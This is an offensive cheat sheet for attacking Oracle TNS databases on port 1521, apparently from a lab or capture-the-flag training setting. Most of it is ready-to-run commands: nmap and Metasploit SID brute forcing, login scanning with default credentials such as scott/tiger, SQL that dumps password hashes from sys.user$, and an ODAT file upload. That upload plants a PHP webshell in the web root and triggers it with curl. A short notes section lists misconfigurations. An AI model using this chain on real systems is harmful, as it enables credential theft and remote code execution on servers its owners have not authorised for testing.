Oracle TNS (Port 1521) Enumerate and exploit Oracle Transparent Network Substrate (TNS) and Oracle databases to dump credentials and upload files. Oracle TNS facilitates communication between Oracle databases and applications, commonly found on enterprise database servers.
Quick Reference Discover Oracle TNS sudo nmap -p1521 -sV 10.10.10.10 --open
Brute Force SID sudo nmap -p1521 --script oracle-sid-brute 10.10.10.10
Connect to Database sqlplus scott/tiger@10.10.10.10/XE
Enumeration Nmap Scripts sudo nmap -p1521 -sV 10.10.10.10 --opensudo nmap -p1521 --script oracle-sid-brute 10.10.10.10sudo nmap -p1521 --script oracle-tns-version 10.10.10.10
Installation wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-basic-linux.x64-21.4.0.0.0dbru.zip wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip sudo mkdir -p /opt/oraclesudo unzip -d /opt/oracle instantclient-basic-linux.x64-21.4.0.0.0dbru.zipsudo unzip -d /opt/oracle instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zipexport LD_LIBRARY_PATH=/opt/oracle/instantclient_21_4:$LD_LIBRARY_PATH export PATH=$LD_LIBRARY_PATH :$PATH git clone https://github.com/quentinhardy/odat.git cd odat/pip3 install cx_Oracle python-libnmap colorlog termcolor passlib pycryptodome sudo apt-get install python3-scapy build-essential libgmp-dev -ygit submodule init git submodule update
Run All ODAT Modules ./odat.py all -s 10.10.10.10 ./odat.py all -s 10.10.10.10 -d XE -U scott -P tiger
SQLPlus Connection Basic Connection sqlplus scott/tiger@10.10.10.10/XE sqlplus scott/tiger@10.10.10.10/XE as sysdba
Fix Library Error sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf" sudo ldconfig
Database Enumeration List Tables SELECT table_name FROM all_tables;SELECT table_name FROM user_tables;
Check Privileges SELECT * FROM user_role_privs;SELECT * FROM user_sys_privs;
SELECT name, password FROM sys.user$;SELECT username, password FROM dba_users;
Enumerate Users SELECT username FROM all_users;SELECT username FROM dba_users;
File Upload via ODAT Upload File to Web Root echo "Oracle File Upload Test" > testing.txt./odat.py utlfile -s 10.10.10.10 -d XE -U scott -P tiger --sysdba --putFile C:\\inetpub\\wwwroot testing.txt ./testing.txt ./odat.py utlfile -s 10.10.10.10 -d XE -U scott -P tiger --sysdba --putFile /var/www/html testing.txt ./testing.txt curl http://10.10.10.10/testing.txt
Upload Webshell echo '<?php system($_GET["cmd"]); ?>' > shell.php./odat.py utlfile -s 10.10.10.10 -d XE -U scott -P tiger --sysdba --putFile C:\\inetpub\\wwwroot shell.php ./shell.php curl http://10.10.10.10/shell.php?cmd=whoami
Common Web Root Paths
OS
Path
Linux
/var/www/html
Windows
C:\inetpub\wwwroot
SID Enumeration What is SID?
SID (System Identifier) identifies the database instance
Required for connection string
Common SIDs: XE, ORCL, PROD, DEV
Brute Force SID sudo nmap -p1521 --script oracle-sid-brute 10.10.10.10./odat.py sidguesser -s 10.10.10.10 use auxiliary/scanner/oracle/sid_brute set RHOSTS 10.10.10.10run
Default Credentials Common Oracle Accounts
Username
Password
Description
sys
change_on_install
System account
system
manager
System account
scott
tiger
Demo account
dbsnmp
dbsnmp
SNMP account
sysman
sysman
Enterprise Manager
SID Enumeration use auxiliary/scanner/oracle/sid_enum set RHOSTS 10.10.10.10run
TNS Version use auxiliary/scanner/oracle/tnspoison_checker set RHOSTS 10.10.10.10run
Login Scanner use auxiliary/scanner/oracle/oracle_login set RHOSTS 10.10.10.10set SID XErun
Configuration Files tnsnames.ora ORCL = (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 10.10.10.10)(PORT = 1521)) ) (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_NAME = orcl) ) )
listener.ora SID_LIST_LISTENER = (SID_LIST = (SID_DESC = (SID_NAME = PDB1) (ORACLE_HOME = C:\oracle\product\19.0.0\dbhome_1) (GLOBAL_DBNAME = PDB1) ) ) LISTENER = (DESCRIPTION_LIST = (DESCRIPTION = (ADDRESS = (PROTOCOL = TCP)(HOST = orcl.inlanefreight.htb)(PORT = 1521)) ) )
Common Workflow Full Oracle Assessment sudo nmap -p1521 -sV 10.10.10.10 --opensudo nmap -p1521 --script oracle-sid-brute 10.10.10.10./odat.py all -s 10.10.10.10 sqlplus scott/tiger@10.10.10.10/XE SELECT * FROM user_role_privs; sqlplus scott/tiger@10.10.10.10/XE as sysdba SELECT name, password FROM sys.user$; ./odat.py utlfile -s 10.10.10.10 -d XE -U scott -P tiger --sysdba --putFile C:\\inetpub\\wwwroot shell.php ./shell.php curl http://10.10.10.10/shell.php?cmd=whoami
Notes Oracle TNS:
Communication protocol for Oracle databases
Port 1521 is default
Requires SID to connect
Can be remotely managed in Oracle 8i/9i
SYSDBA Privilege:
Highest privilege level in Oracle
Allows complete database control
Can read/write any file
Can extract all password hashes
File Upload Requirements:
Need SYSDBA or DBA privileges
Must know web root path
Web server must be running
File system permissions must allow writes
Security Considerations:
Default credentials commonly unchanged
SID can be brute forced
SYSDBA access allows complete compromise
File upload can lead to code execution
Password hashes can be extracted and cracked
Common Misconfigurations:
Default credentials (scott/tiger, sys/change_on_install)
Weak passwords
Unnecessary SYSDBA privileges
TNS listener exposed to internet
Outdated Oracle versions with known vulnerabilities
Attack Surface:
Default credentials
SID enumeration
Password hash extraction
File upload to web root
SQL injection in applications
TNS poisoning
ODAT Capabilities:
SID enumeration
Credential brute forcing
Privilege enumeration
Password hash extraction
File upload/download
Command execution
Java stored procedure abuse